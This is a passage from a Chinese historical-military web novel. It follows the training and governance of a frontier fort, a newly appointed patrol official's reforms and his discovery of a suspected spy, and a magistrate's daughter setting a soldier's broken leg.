“再来一轮冲锋练习!“李山吼道,尽管左肩伤处还在隐隐作痛。他不能容忍自己落后于人。
尤其是看到那些曾经并肩作战的同伴已经超越了自己。
刘铁柱同样不甘示弱,他甩动还未好利索的手臂,亲自示范拉弓射箭,步卒阵型变换。
“战场不等人,伤好了就得追上!”
两人默契地较着劲,一点点加强训练强度,都希望在接下来,伏杀狼戎的战斗中大放异彩。
——争取正式晋升而不只是提名。
他们的部下虽然苦不堪言,但看到长官如此拼命,又想起其他队伍得意,也都鼓起了干劲。
整个训练场上,弥漫着一股不服输的劲头,这种良性竞争精神是秦猛允许的,也是提倡的。
人都有好胜心,都要脸面。
何况是军中强者为尊,但凡有本事,谁也不服谁。
各队将暗中较量,正在悄然提升军寨的整体战斗力。
一支郡城军队也在边上集结训练。
那是营指挥张崇组织地方厢军,开始紧急特训。
这几天,他一直在军寨游览,观看士兵训练。发现特殊的现象,铁血军寨士卒不需要监督,就会自发训练,与他所知的军队截然不同。
张崇只能感慨“强强手下无弱兵”!
来都来了,他自然是趁机请教,训练自己的队伍。寨兵几点起来集合,他就率队出操训练。
那个王都头天天都被人强行拖下床,训练得散了架,还要晚上巡营房,几天来,瘦了一大圈,
除了军寨数百兵卒在寨外训练,搞得声势惊人。
成群结队的壮劳力在工匠师傅的指挥下搬运木材、夯土砌墙,呼出的白气在寒风中凝成一片薄雾。
短短几天,一座临时营地奇迹般拔地而起。
最令人惊叹的是四周高约三四米、宽两米多的冰墙。
——这是利用苦寒天气筑成的临时防御工事。
木板为模,沙土饮水为基,再泼洒夹杂碎冰的河水。迅速层层冻结,浇铸成墙,外表冰层晶莹剔透,在阳光下闪烁着冷冽而坚实的光芒。
营地内部,茅草房、马厩、牛棚井然有序地分布。几座箭楼迅速耸立,有人爬上警戒,新到的马匹被牵入马厩,兵卒们陆续安顿其中。
在忙碌的人群中,几十名来自冷艳山的俘虏被刻意编入不同的工程队,分散在各小组劳作。
他们搬运石块、搭建房梁,夯实地基,虽然干的是重体力活,但与劳工等同,并无**迹象。
每到饭点,这些人排队在伙房领饭,不仅一天三顿饱餐。杂粮饭配几个菜,肉汤,偶尔有炖肉吃。
这种待遇,让这些曾经的山贼既困惑又感激。
陈老四是冷艳山俘虏中的一员。他扛着一根原木,脚步稳健地走向工地,心里却五味杂陈。
一方面,铁血军寨剿灭了他的山寨,让他失去了曾经的“家”。又强制性做体力活,接受严苛的军事训练,用种种手段来囚禁,没了“自由”。
另一方面,这里除了干活,没有**,吃得饱、穿得暖,晚上还能盖着崭新的棉被睡觉。
——这却是他被逼落草后,从未有过的安稳日子。
今天早饭时,他听到工友议论:“听说秦大人批准,军寨还要建学堂,孩子们能上学识字。”
陈老四正吃着饭,突然愣住,想起自己早年病死的儿子。若自己早些来军寨,若当年有这样的机会,孩子或许不会因贫病交加而夭折。
一种莫名的愧疚涌上心头:
自己真是该死,是什么时候从老实人,变得狠厉?从前打家劫舍,又害得多少家庭破碎?
如今军寨虽用强制手段**,却给了他们一条生路,更给了那些无处可依的流民一个希望。
晚上,这群冷艳山的“难兄难弟”聚在**营房时,因劳累过度,几乎无人闲聊,倒头便睡。
陈老四躺在床上,望着屋顶,第一次觉得“纪律森严”不是压迫,而是一种令人心安的自律。
他想恨,却恨不起来!
——毕竟军寨没有处死他们,也没有**他们。
山贼们压根就没想过要跑,逃了,提心吊胆,颠沛流离。而这里却能吃饱穿暖,过得踏实。
……
堡内官署的公事房被改造成临时学堂。角落炭火燃烧,屋内温暖如春。
十几名九至shisan岁的孩子正襟危坐,听老保长王槐讲课。
王槐年纪大了,喜欢唠叨,每节课前总要强调:“你们能坐在这里吃饱穿暖,全是秦大人自掏腰包买的粮食!古人云,吃水不忘挖井人。这份恩情,你们要立住,要刻在骨子里。
“孩子们呐!你们要好好学,做个对军寨有贡献的人。将来是军寨,是这片土地的**人……”
秦猛就喜欢老保长
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的唠叨,有些话他是不能明说的。只能让别人代劳,给老保长加了台词警句。让这位老先生来教导孩子,灌输思想……
孩子们从写自己的名字开始学起。王槐用**棒在黑灰底板上写字,孩子们跟着模仿书写。
——字迹虽歪歪扭扭,但态度认真。
在这些孩子中,王大宝格外认真听讲。
他是寡妇王春兰的儿子,加入少年队一方面是因不久前被掳掠的经历,让他渴望变强,另一方面也是为了补贴家用,减轻母亲的压力。
往日的调皮捣蛋不见踪影,取而代之的是专注的眼神和认真的笔记。
下课后,他总是围着老保长问问题,是最积极的学生之一。
另一边的小石头则带着不同的心情认真听课。
父母双亡的他因为上次立功成为了少年队队长,但因为身材瘦弱,年纪又小,队里许多大孩子总是不服气,时不时阴阳怪气地议论他。
小石头心里憋着一股劲,不仅上课认真听讲,还经常跟着张富贵、李山、刘大牛等人学本事。
他心里想着:“要是谁不服,我就打到他服!”
这种好胜心驱使他比旁人更加用功。
知寨官秦猛对此要求严格:要求每个孩子必须每日认字达标,一旦不专心学习,扣发零食。
学堂建立后,军寨还计划开设成人班,彻底扫除文盲。
……
夜幕降临,铁血军寨并未沉寂。
主寨墙上,冰墙上的火把依次点亮,哨兵的身影在墙上巡逻,警惕地注视着远处的黑暗。
秦大壮率领队伍巡逻,检查岗哨。
刘大牛训练的犬兵队伍,分派各处,发挥作用。
在营房内,劳累了一天的**山贼们早已进入梦乡。
他们睡得很沉,很安心——这是多年来从未有过的安稳觉。
不再需要担心明天的粮食在哪里。
不再需要害怕官兵的围剿,虽然一天劳作下来,身体疲惫,但心灵却奇异地平静,踏实!
在轮值营房内,李山和刘铁柱还在研究地图,讨论明天的训练计划。
他们的竞争意识已经转化为共同进步的动力,两人都明白,只有整个军寨强大,每个人才能真正安全。
在少年队营房,小石头往手上哈着气,还在默写今天学的字词,小手冻得通红仍紧握粉笔。
——老保长说了,识字的人将来成就会更高。他虽不懂得什么叫成就,但却知道老人言没错。
这座铁血军寨,正如其名,有着钢铁般的意志和纪律,却又在严寒中孕育着希望的温暖。
即便主心骨秦猛外出公干,军寨也依旧井井有条。不会因他走了几天,就成了一盘散沙。
在这里,每个人都在寻找自己的位置,每个人都在为明天而努力。
——无论是谁,山贼也好,孩童也罢,都在这个特殊的地方各司其职,重新制定自己的人生。
第123章 巡检司三把火
铁血军寨西南约数里外有一险要峡谷,形似咽喉锁钥,控扼着通往青阳郡城的几条要道之一。
巡检司驻地便坐落于此。
向东三十里,有双塔城寨及各堡、寨互为犄角;向西十来里地,便是南河城寨及商贸渐兴的南河镇。
此地之重,关乎粮道、兵道之畅通。
故虽仅是一处巡检司,亦不容小觑。
驻地依险而建,地势颇高,易守难攻。
原本按制应有三百厢军,可惜前任巡检使臣许方贪墨成性,为饱私囊,克扣物资,更以拉拢家丁充数、虚报兵员的方式大肆吞吃空饷。
导致实际驻守兵丁仅百五十人,且疏于操练,防务松懈,兵丁战力极弱,关隘形同虚设。
新任巡检使臣庞仁走马上任前,从秦猛那里学到不少。如“兵马未动,亲信先行”的道理。
他提前旬日,便遣了自己的两位副手。——刘大头与唐****,带队前来巡检驻地整顿兵卒。
刘大头人如其名,脑袋大,身材魁梧,面相憨厚,做事一丝不苟,甚至有些执拗。
唐****则身形灵巧,眼珠滴溜溜转,一肚子机灵古怪的主意。
这两人一憨一精,相辅相成,正是庞仁的得力臂助。
几日整顿,兵丁被筛了两遍。
第一遍,刘大头持册点名,以那股认死理的劲儿,将兵卒分作两堆:
忠厚老实者一堆,偷奸耍滑者站一块。
第二遍,唐****则仿照铁血军寨的法子,带着这群人操练起来,跑跳负重,骑马射箭。
很快,又将各人身体素质强弱摸了个七七八八。谁是老兵有本事,谁是滥竽充数,一目了然。
几天前,庞仁正式赴任。
他名义上虽转入地方军,退了边军籍,却仍着一身显眼的飞虎铁甲,顾盼间自带一股行伍煞气。
新官上任三把火,庞仁烧得又快又稳。
第一把火便直指人事:
他找了技艺不精,不懂军律的由头,将那些原先带头偷奸耍滑,溜须拍马的都头、什长一捋到底。
转而从忠厚老实、身体强健者中提拔新人。那些偷奸耍滑者中有真本事的,也被他暂予留用,观其后效。
校场上,他昂首训话:“当兵有个性,那是正常的,有傲气,那也是能够接受的。
可以限度的耍滑头,但不能欺压良善,讹诈百姓财务。谁要是让我知道坏了规矩,你试试看?”
“老子庞阎王之名不是白叫的。”
庞仁声音不高,却带着边军特有的冷硬杀气,令人心悸。
短短时日,他便赢得了不少热血后生,或备受欺压,渴望改变的兵卒的拥戴,初步站稳了脚跟。
其实,这在许多人看来是必然之事。
背后有铁血军寨的秦猛将军撑腰,若新任庞巡检连个小小的巡检司都搞不定,那才叫有鬼。
用秦猛私下训诫庞仁的话说:“老子在后面撑腰,你墨迹收拾不了烂摊子,就卷铺盖滚蛋!”
庞仁的第二把火,便是大张旗鼓地加强驻地防御工事。
首要便是补足兵员。他脑袋活络,双管齐下:
一面派人去郡城及周边村镇招募青壮,流民等,一面直接拿着许方遗留的花名册,按图索骥。
带队将那些昔日只挂名吃空饷、实则在家享福的家丁“请”回。愿留下当兵的,既往不咎。
不愿者,则按吃空饷的年限罚做苦力,同时将详情不偏不倚,清清楚楚上报县衙核实,备案,所做虽粗鲁,但合法,让人挑不出错处。
往往抓人的时候还有官府协助!
兵员渐足,按情况编队,操练更紧。
庞仁时常快马往返于铁血军寨与巡检司之间。不仅从铁血军寨伙房“连吃带拿”,惹得后厨火头兵举着勺子追打笑骂。
而且将边军那套严苛的训练法子全盘搬来,令过惯了松散日子的巡检司兵丁叫苦不迭。
三百兵丁根据身体素质,分为上中下三类,待遇不同。而且交叉编队,每月考核,排名靠前有赏,末尾的队伍承担做饭,喂马等杂活。
彻底扭转了以前那种松散的氛围!
兵卒每日除了基本队列,便是清扫驻地积雪,冒着严寒搬来巨石,加固营栅、深挖壕沟……
庞仁还亲自跑去郡城请来工匠,选址修建箭楼。
一番折腾,峡谷关隘的防御肉眼可见地坚实起来。
第三把火,亦是重中之重:搞钱粮!
练兵非空口白牙之事,得需真金白银来支撑,兵卒饱暖了,方有士气,方能杜绝怨愤与反叛。
县衙韩知县调拨钱粮是打底。
秦猛谋取巡检司之位,固然有插手郡城稳定后方之意,但其真正意图,仍是欲多掌控一支可用之兵。
为此,他早有筹划。
此前处置刘家产业,所得大批钱粮多数充入军寨。
但他也暗中留下了几处产业,其中包括南河镇最大的粮铺“丰裕号”,以及巡检司驻地附近的一处优质石料矿山。
庞仁拿到这两份地契后,即刻按秦猛之意,分别登门拜访燕北郡李家与罗家,私下奉上地契。
此二家不仅是本地有数的地主乡绅,更是首批敢于和铁血军寨合作的富户。
他们原本因距离郡城较远,未能赶上先前瓜分刘家产业的盛宴。
本以为失望而归,却不料天降馅饼,各自得了一处符合心意的肥硕产业,自是喜不自禁。
根本无需庞仁多言,李、罗两家的主事人皆是人精,深谙官场权势之道,明白这是铁血军寨有意为之。
目的既是补偿,亦是拉拢,更是要他们一个态度。
比如鼎力支持庞仁坐稳巡检官职。
于是
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,暗地里,这两条地头蛇便开始动用其能量,为庞仁行方便、通关节。
如此一来,即便董袭及其背后的董家想暗中使绊子搞事情,也变得阻力重重,难以下手。
以庞仁目前的眼界,还看不透秦猛让他送出地契的深意,但他却能看清实实在在的变化。
几日之内,运送粮食、肉菜、酱醋、棉花布料、乃至石料木材的车队便络绎不绝驶入巡检司。
空地上,木材石料堆积如山。
那原本干瘪空荡、从未满盈过的粮仓库房,迅速被各类物资填满。
庞仁趁机宣布:
兵卒伙食由一日两餐增至三餐,只要认真当差,必能吃饱饭,且军饷足额发放,绝不克扣分文。
此令由庞仁亲口颁布,不仅让他新提拔的骨干越发敬重,连那些被归为“滑头”,被抓回来的家丁都激动了,甚至开始有人自发投军吃粮。
刘大头负责监督粮饷发放,杜绝贪墨,浪费行为。
唐****性子活泼,早跟兵卒厮混熟了,良性引导。并将兵卒间的些许议论悄然收集报于庞仁。
官场权势,往往于这些细微处交织,模糊而复杂。
昨日午后,巡检司全体兵丁正在校场操练。
李家和罗家的车队冒着风雪先后抵达。带队的是熟人李安平与罗世荣。他们此次不仅运来了许多粮食、酒水,还驱赶着百头壮羊肥猪。
令人诧异的是,他们奉命而来,这些粮畜少部分给巡检司。大多是犒劳铁血军寨边军弟兄。
虽心下疑惑,但此乃好事,庞仁自然马虎不得。不仅热情招待两队人,牛马喂足了草料。
今早,天刚蒙蒙亮,庞仁便点了五十名精悍兵丁,亲自护送这支犒军队伍前往铁血军寨。
寒风卷着碎雪,马蹄踏过冻土。
**里的路程,不过半个时辰,一行人便望见了军寨的轮廓。巡检哨探已经飞马奔至军寨。
“边军兄弟,不要误会!”那探马举着令箭高呼。
“我乃青阳郡城巡检司庞巡检麾下斥候,**。”
“刘二哥,是我呀!庞大人亲自护送李家,罗家车队送来粮食,猪羊,请立刻转告秦将军……”
那斥候**也是曾戍堡兵丁,看到寨墙熟悉的人后,挥手呼喊,按规矩说明后方队伍来意。
这种举动不是繁琐礼仪,是必要流程。
铁血军寨是前沿边陲,外来队伍,又没有旗号,靠近边堡必须提前派人通知,此乃边防制度中“预警—核实—应对”机制的核心环节。
旨在防止误判、保障安全、维持秩序,避免驻军误会,是边境防御体系高效运作的基础。
未通报者,哪怕不是敌人,也可能被视为敌情。戍堡、边寨军事长官有权下令,先斩后奏!
这就是边陲地,也是秦猛扎下根的原因所在!
第124章 庞仁的发现
风雪依旧呼啸,却压不住铁血军寨蓬勃升腾的声势。
庞仁骑在马上,身体挺得笔直,指着前方轮廓愈发清晰的寨子,对身旁李,罗两家管事道。
“两位,前方便是咱戍堡…不,是铁血军寨!”
远远望去,寨子已与月前那低矮破败的小边堡判若云泥。
两三丈高的夯土包砖墙巍然矗立,旌旗猎猎。
寨外开阔地上,士卒操练的呼喝声与马蹄奔腾的隆隆声欲撕裂苍穹,竟将风雪声都压了下去。
身着铁甲的将士们刀枪如林,每一次劈刺都带着破风锐响,扬起的雪沫如烟如雾,弥漫空中。
寨墙附近,众多劳役人员背负兵刃往来穿梭,或合力搬运木石加固寨门,或列队巡逻、奋力铲雪,口号不断,人人脸上都带着一股干劲。
李安平裹紧衣领,抵御着寒风,眼中却难掩惊叹:“短短时间,便这般气象,真是少见。”
罗世荣亦微微颔首,目光锐利地扫过寨内井井有条的忙碌景象:“秦猛将军不过二十余岁,竟能将寨子治理得如此井井有条,当真年少有为。”
“那是当然!”庞仁接话,胖脸上洋溢着发自肺腑的崇敬,“秦将军有勇有谋,乃是我边军虎将!”
秦猛,这位对他有知遇之恩、一手将他提拔至巡检使臣位置的上官,早已让他心悦诚服。
队伍迤逦前行,军寨大门愈发临近。
庞仁正欲以东道主身份再介绍几句,耳尖忽然微动——侧翼稀疏的树林中,传来一阵急促的犬吠,其间似乎夹杂着不自然的窸窣声。
他面色不变,目光似不经意扫过林间积雪反光处,似见有人影鬼祟闪动。
他当即对身旁的唐****低声吩咐,语气不容置疑:“****,你率队护送车队入寨,交割清楚。”
“得令!”唐****抱拳领命,眼神里瞬间多了几分警惕。
庞仁则不说二话,一拨马头,座下骏马如离弦之箭,直冲向那片树林。
马蹄踏碎积雪,冲入林间。
只见一个穿着破旧棉袄、腰间挂着军寨劳役工牌的汉子,正慌慌张张地提裤子,身旁雪地上尚有一片污秽痕迹,一副方便完的模样。
庞仁勒住马,打量着那汉子,确认以前没见过,沉声问道:“你是何人?为何这般面生?”
那汉子见庞仁一身军官打扮,忙不迭躬身,脸上堆满尴尬与窘迫:“回…回大人话,俺叫张五,是新来的流民,入了军寨,帮忙做工。”
“早上吃了些凉食,肚子疼得厉害,实在憋不住,跑来这林子行方便,冲撞了大人,俺该死!”
庞仁闻言,捂住鼻子,脸上露出一丝恰到好处的嫌恶,摆摆手道:“哦,原是闹肚子。冬季外面寒冷,呆久了易染风寒,速速归队。”
说罢,他瞥了眼那污秽物,拨转马头,作势欲走。
身后,那名叫张五的汉子连声应着,明显松了口气,低垂的眼眸中闪过一丝不易察觉的狡黠与庆幸。
他却未曾注意到,背转身去的庞仁,眼神早已冰冷一片,嘴角微微扬起,露出一个狰狞的冷笑。
哪还有半分方才的嫌恶与随意?
那分明是猎人发现猎物落入陷阱时的凌厉杀机!
明年开春了,要大面积耕种,军寨早有严令,不得浪费农家肥。
自王大宝事件后,更是严禁单人外出,必须三人以上结伴而行。
这个自称新来的流民,两条铁律皆犯,本身就已可疑。
关键是那坨污秽物问题最大!
庞仁心思电转,方才那一眼,他已看得分明。
军寨箭楼上的瞭望手早已望见远处靠近的队伍,并未吹响示警号角。
一队巡骑随着巡检司探马原路折返,确认车队身份无误后,方才护送队伍抵达军寨后门。
得知劳军队伍抵达,诸葛风与李恒联袂赶来,笑容满面地迎上前,安排接待,引车队入寨交割。
恰在此时,通往双涡堡的道路尽头,一匹快马飞奔而来,背上插着杏黄旗,是军寨斥候。
“秦大人率队归来,不必惊慌。”
不久后,百多骑的身影出现在众人视野之中。
旋即,如同滚雷般逼近。
箭楼上、堡墙上的众多军卒,眼神瞬间从疑惑变为呆滞。
包括得知消息赶去迎接的庞仁,亦是先一愣,随即圆脸上满是兴奋与狂喜。
——秦猛不仅回来了,更驱赶着大批战**旋!
军卒呼喝声不绝于耳,战马成群,棕**油亮,体型膘壮,连带将士们自身坐骑,数量逾千,浩浩荡荡。
密密麻麻的马群铺满了雪原,场面极为壮观。
秦猛在双涡堡停留了三天。
这三日,他开仓放粮,确保堡内每一户军民家庭都领到了足额的粮食和御寒的棉花布料,真正做到了衣食无忧。
戍卒、乡勇纷纷换装了缴获的**铁甲,在张富贵亲自主持下,队伍被打算重新编队,按军寨方法,轮番操练、执勤,毫不懈怠。
堡内军民没有后顾之忧,自发组建了民兵队、后勤队,协助驻军值勤,处理杂活,如加固防御工事,滚雪球制作雪弹,沿河堆垒雪墙……
双涡堡各项防务与民生已步入正轨,焕发出前所未有的凝聚力。
秦猛这才决定率主力押送大部分缴获返回军寨。
临行前,他再三嘱咐张富贵、林军务必厉兵秣马、谨守防务,又留下百多匹战马、百匹驮马以备军用。
秦将军走了,许多堡民自发**,依依不舍,相送甚远。
抵达铁血军寨时,大批劳力驻足,或**在寨门附近相迎。
那个从树林里溜出来的汉子张五也混在欢迎的人群中,他看着眼前这数百匹棕**油亮、神骏异常的草原好马,眼里闪过惊诧与难
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以掩饰的算计。
庞仁策马迎上秦猛等人,寒暄几句,便凑近低声说起正事。脸上却依旧洋溢着开心的笑容,朝欢呼的寨民们挥手致意,动作自然无比。
“将军,恭喜啊!”他声音压得极低,借着挥手的动作,目光不经意间掠过张五所在的方向。
“不过,发现个蹊跷。”
“人群里,靠右第三排,那个穿着破旧棉袄、缩着脖子的汉子,瞧见没?”
秦猛笑容满面地朝军民们挥手示意,眼角余光如鹰隼般精准地锁定了庞仁所说的那人。
庞仁语速加快,声音低沉而清晰:“之前他一个人在那边的林子里鬼鬼祟祟,形迹可疑。”
“您下令,不得浪费农家肥,不得单人外出,必须三人作伴,这小子两条都犯了,绝对有古怪。”
“而且最大的一点就是他那坨污秽物,”
庞仁顿了顿,似乎也觉有些难以启齿,但还是继续道,“不仅粗粝不堪,黄色有异常,像是长期吃肉,绝非寻常流民吃食所能排出。
且在那等严寒下,竟已开始冻结,不冒什么热气。”
“尼玛!”秦猛嘴角微不可查地抽搐着,很想喝斥这汇报内容实在有点恶心,味道扑面而来。
庞仁却没察觉秦猛细微的神色变化,迅速接着说:“我策马冲过去时,他光着腚,提裤子。”
“这寒冬腊月,呵气成冰,谁方便完了不是飞快提起裤子,生怕冻着鸟?”
“他倒好,事都完了还光着蹲在那儿?事出反常,必有妖!”
秦猛瞳孔剧烈收缩,神色变得凝重。
而且自动脑补了那个画面——方便完了还光着屁股蹲在雪地里,这绝非正常人所作所为,不是脑袋有毛病,便是另有图谋,在掩饰什么!
“鉴于这些可疑现象,我断定这家伙肯定有问题。”庞仁一口气将诸多疑点说完,神色笃定。
“不错,我果然没看错你。”秦猛赞许地看了庞仁一眼:“观察细致,心思缜密,非常难得。”
“那要不要我现在就把他控制起来?”庞仁自告奋勇,跃跃欲试,“抓起来细细审问,用咱军寨的刑罚,说不定,能掏出不少意外之喜。”
“不急!”秦猛摆手打断,目光依旧扫视着欢呼的人群,脸上保持着凯旋的笑容,“对方能混过我们招募流民的多重筛选,至今未露明显马脚,说明不是简单货色,很可能受过训。”
“这种人,知道的东西肯定不少,背后或许还有大鱼。”
“俗话说捉贼拿赃,抓奸要双。寨子是我们的根基,抓人更要讲究证据,力求稳妥,避免打草惊蛇,更要防止误伤无辜,寒了投奔者的心……”
“啊?……”庞仁顿时傻了眼,有些困惑地看向自家这位向来喜欢大刀阔斧、雷厉风行的上司。
为何此次突然转变风格,如此谨慎地玩起了这套“阴谋”?
第125章 林千金妙手接骨
秦猛率队抵达军寨后门处,诸葛风、李恒,连老保长都得知了消息,拄着拐杖快步赶来迎接。
秦猛直接下令,让**、袁飞将五百匹战马驱赶往飞虎卫专属驻地,由他们直接送到大营。
主要是马儿喂养消耗大,尽快送走是最好的选择。
剩下的三百多匹战马和驮马,则一律驱赶往军营马厩。
王老保长带人接收清点缴获的甲胄、武器deng各类物资,忙得脚不沾地,脸上却笑开了花。
各类物资迅速登记造册,分类入库。
几十车被冻在冰砣里面的马肉送入各处伙房……
那些断裂的武器、破损的皮甲、铁甲,也被迅速送往作坊,等待工匠们修缮后,再利用。
“大人,有两件要事需即刻禀报。”诸葛风则快步上前,言简意赅地捡最重要的事情汇报。
“一,前后脚的功夫,李家、罗家各自送来五百石粮食,五十头肥猪壮羊,说是犒劳边军。”
秦猛听到李家和罗家送来粮食牲畜,笑而不语。
他已经料到,也知道两家为何这样做。无非就是表明态度,选择向他边寨秦将军靠拢。
“二,林郡守也派人送来了五百石粮食,营指挥张崇特意指明,要感谢将军此前救命之恩。”
“另外,”诸葛风语气微顿,声音压低了些,“林郡守之女,林婉儿姑娘,数日前已抵达军寨。”
“什么?”秦猛眼皮猛地一跳,怀疑地看向诸葛风。
直到这位素来行事严谨、一丝不苟的主簿郑重颔首确认,他才敢相信这匪夷所思的消息。
——林婉儿这位郡守千金,竟然不在安全的郡城呆着,跑到他这烽火边塞、粗犷军寨来了!
她为何而来?
这事儿,如同投入平静湖面的石子,在秦猛心中漾开层层涟漪,也升起了不可言喻的预感。
……
铁血军寨的医疗所内,原本经过改革后已逐渐步入正轨。招募的一批妇人护工,运作日渐熟练,煎药、换药、照料伤员,井井有条。
伤兵逐渐好转,本应该清闲下来。
然而,这份短暂的秩序很快被王善带队归来的人马打破。
——他送来了十多名重伤员,以及数十个轻伤者。
医官唐博救治,配药,顷刻间忙得脚不沾地,额上沁出细密汗珠,嗓音也沙哑了几分。
陈月娘等护工们进进出出,端送热水、汤药与洁净布条,空气中弥漫着血腥与草药混杂的气味。
人群中,一袭白裙的林婉儿和她的侍女林小蛮格外醒目。
她们来到这座边寨虽仅三天,却已亲眼见证了军寨兵卒训练严苛,山贼俘虏被迅速“调教”得服帖、大批流民被有条不紊地安置的场景。
更让林婉儿震惊的是,少年虎子是她认识的流民少年,不仅参加军事训练,还要学识字。
“这简直是不可思议!”她暗自感叹。
林婉儿原本对军寨心存疑虑。但此刻看到流民被迅速安置,伤员得到妥善救治、孩子获得教育机会。
她逐渐感受到这座军寨的不同!
流民眼中的麻木消失,被一种叫“生的希望”取代!
父亲经常说的“黎民为重”这句话在脑中回响。主动加入医疗所护工行列,为伤员包扎伤口。
——这一刻,她不再是冷眼的旁观者,而是温暖的参与者。
就在医疗所内一片忙碌之时,门外突然响起一阵嘈杂及急促的呼喊声:“快让开,唐医官……”
几名劳力抬着一副简陋担架飞奔闯入,架上躺着一个中年汉子。左腿自膝盖以下已是血肉模糊,形状诡异扭曲,显然骨头断得厉害。
那人紧咬着牙关,脸色惨白如纸,额头青筋暴起,却硬是哼都未多哼一声。
抬担架的劳力急惶惶找到正忙得团团转的唐博,说是此人在搬运木石加固寨墙时,脚下积雪一滑,撞翻独轮车,木石砸落,正中小腿。
人非全能,术业有专攻!
大周医疗比较完善,分九科:大方脉、小方脉、风、产、眼、疮肿、口齿、金镞、书禁,已具专科雏形。
唐博最擅长大小方脉,调理成人,孩童等内伤杂病,处理风病,疮肿及普通刀剑外伤也算娴熟。
可此类折疡骨裂,并非其所长。
但他立刻上前,剪开伤者裤管,先以清水与药液小心清洗创口污秽,再止血,防止恶化。
随后,唐博吩咐助手准备竹板、洁净布带,打算按常规手法,先行固定再图后策。
“等等!”
正当唐博准备动手正骨时,一道清脆却坚定的女声响起。
众人循声望去,正是林婉儿。
这位身穿白裙、气质温婉的姑娘主动请缨:“唐医官,此种骨折,可否容小女子一试?”
唐博闻言眉头微皱,审视地看着她,试探问道:“林姑娘……莫非懂得医术?”
他知道此女身份特殊,乃郡守千金,故而语气带着几分客气与疑虑。
“略通一些,”林婉儿微微颔首,自信地笑了笑:“此种接骨续筋之术曾得名家指点,颇有心得。”
唐博看着伤员,又瞥了一眼虽显忙碌但手段有限的医疗所,再观林婉儿神色不似作伪。
他略一沉吟,竟果断点头:“如此,便有劳林姑娘出手!”
林婉儿毫不推辞,立刻请唐博与陈月娘从旁协助。
她先是纤指轻出,沿伤者腿骨缓缓触摸,由轻至重,由远及近,细细感知骨折断端的移位情况。
其手法精准老练,仿佛能透过皮肉直视骨形。
此乃“手摸心会”!唐博眼中瞬间闪过惊异之色。
“伤为折骨,且有重迭移位,”林婉儿迅速判断,声音清晰稳定,“需先行拔伸牵引,恢复骨位。”
她请唐博把定伤者大腿近端,自己则双手稳稳握住其足踝,沿肢体原有纵轴,持续而稳定地施加牵引力,徐徐用力,将重迭的骨折断端拉开复位。
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过程中,她全神贯注,力道掌控得妙到毫巅!
那伤员虽痛得浑身颤抖,却感觉骨骼正在被引回原处。
待感觉长度恢复,林婉儿手法倏变,改用“提按捏正”之法,双手手指精准按压于骨折突起或凹陷之处,或提或按,或捏或挤,力道或刚或柔,巧妙地将侧方移位的骨碎一一捺正平复。
其动作如行云流水,沉稳果决,每一次发力皆恰到好处,最大限度减少了伤者的额外痛苦。
陈月娘在一旁看得眼睛发亮,忍不住低声连连称赞:“林妹妹,真没想到你竟有这般厉害的本事!”
林婉儿只是专注手下,谦逊道:“月娘姐过奖了,些许手法技巧,救人之事,不敢怠慢。”
骨骼大致复位后,她并未停手。
示意助手递上已备好的杉竹夹板,与布带。
她先敷上药,再将夹板覆于伤腿四周,其长度、弧度皆经过细心调整,恰好贴合肢体,避开神经血管丰富之处。
又以布带层层缠绕固定,松紧适度,既保证牢固不移位,又不至影响气血流通。
固定妥当后,她又取来纸笔,迅速写下一张方子,对唐博道:“唐医官,此乃小女子所知一剂接骨续筋方,内含骨碎补、自然铜、土鳖虫等味,可活血化瘀、消肿止痛、促进骨痂生长。烦请速速煎来,内服外敷结合,疗效更佳。”
其用药思路,明显融合了活血化瘀与促进愈合的理念。
接着,她又不厌其烦地轻声嘱咐伤员与周围护工:“固定后,切勿自行移动,需静养月余。
饮食之上,初期宜清淡,可适当进食些易克化之物,忌食辛辣发物、油腻厚味及生冷之物,以免痰湿内生,阻碍气血运行,影响愈合。”
整个流程如庖丁解牛,一气呵成,手法之精准老练、态度之沉稳从容,远超寻常医者。
女人对骨折机理的理解、复位手法的运用以及固定用药的考量,皆展现出极高专业性。
唐博在一旁目睹全程,脸上早已收起最初的那丝疑虑,取而代之的是由衷的敬佩与赞叹。
甚至有种祖上不学这折伤手法是错误的感觉。
他自愧弗如地拱手道:“林姑娘真乃神医妙手。
唐某于此道钻研不深,今日得见姑娘施展如此高超接骨绝技,实在大开眼界,佩服佩服!”
陈月娘更是拉着林婉儿的手,欢喜地夸赞道:“哎呀,林妹妹,你真是深藏不露啊!”
一旁的侍女小蛮见自家小姐大显身手,忍不住扬起小脸,带着几分骄傲说道:“那是自然!我家小姐的医术,可是得了中原药王唐洛老先生亲传的!这点伤,自然不在话下!”
唐博一听“中原药王唐洛”之名,更是肃然起敬:“原来是药王高足!失敬失敬!难怪有如此神通!”
就在这时,陈月娘眼尖,忽然发现医疗所门口,一个挺拔的身影不知已站立观看了多久。
——正是秦猛。
第126章 叙近况,揭阴谋
原来,秦猛处理完军务,嘱咐诸葛风探查张五的底细,又让王善派机灵可靠之人严密监视。
他才返回官署,只见小妹秦小茹与王艳仍在院中练武。得知陈月娘一早便去了医疗所帮忙,便寻过来,正好看看医疗所和慰问伤兵。
刚踏入医疗所院落,他便瞧见了那令人惊叹的一幕:
那位浑身书卷气的郡守千金林婉儿,正手法娴熟地为一名腿骨碎裂的伤员接骨。
她的动作精准而沉稳,眼神专注,丝毫不见闺阁女子的娇弱。
秦猛当即下马走近,将整个过程尽收眼底,心下诧异不已:“这林小姐竟有这等本事?真是人不可貌相,海水不可斗量,不能小瞧任何人。”
“猛子哥,你回来啦?”陈月娘无意间看见秦猛,俏脸上立刻绽开微笑,眼眸弯成了月牙。
“见过秦将军。”医官唐博赶忙行礼,语气中带着由衷的敬佩,“林小姐接骨之法着实精妙,属下自愧不如。”
那刚被救治、小腿伤处已初步固定好的汉子,面上浮现慌乱,双手撑着床榻挣扎欲起。
“小…小人见过……”
“不必多礼,好好养伤。”
秦猛快步上前,轻轻按住汉子肩膀,语气温和却带着不容置疑,“因工而伤,你只管安心将养,家眷钱粮必不少你半分,军寨养你到康复。”
“多谢大人!多谢大人!”汉子眼眶瞬间发红,声音哽咽。他从没见过如此体恤下属的官老爷。
秦猛又温言安抚了几句,这才与众人退出病号棚。
陈月娘见到秦猛,心情愉悦,眼神却带着几分哀怨。
她本能地想奔向他又突然止步,折返回来亲昵地拉住林婉儿的手,将她带到秦猛面前。
月娘热情地介绍:“猛子哥,这是林婉儿妹妹,我新认识的姐妹。你可别小看林妹妹。
她可是博学多才,琴棋书画样样精通,之前又漏了一手,令人惊讶,没想到医术还这么厉害!”
听到“林妹妹”这三字,秦猛眼角微不可查地抽搐了一下——这熟悉的称呼让他想起了往事。
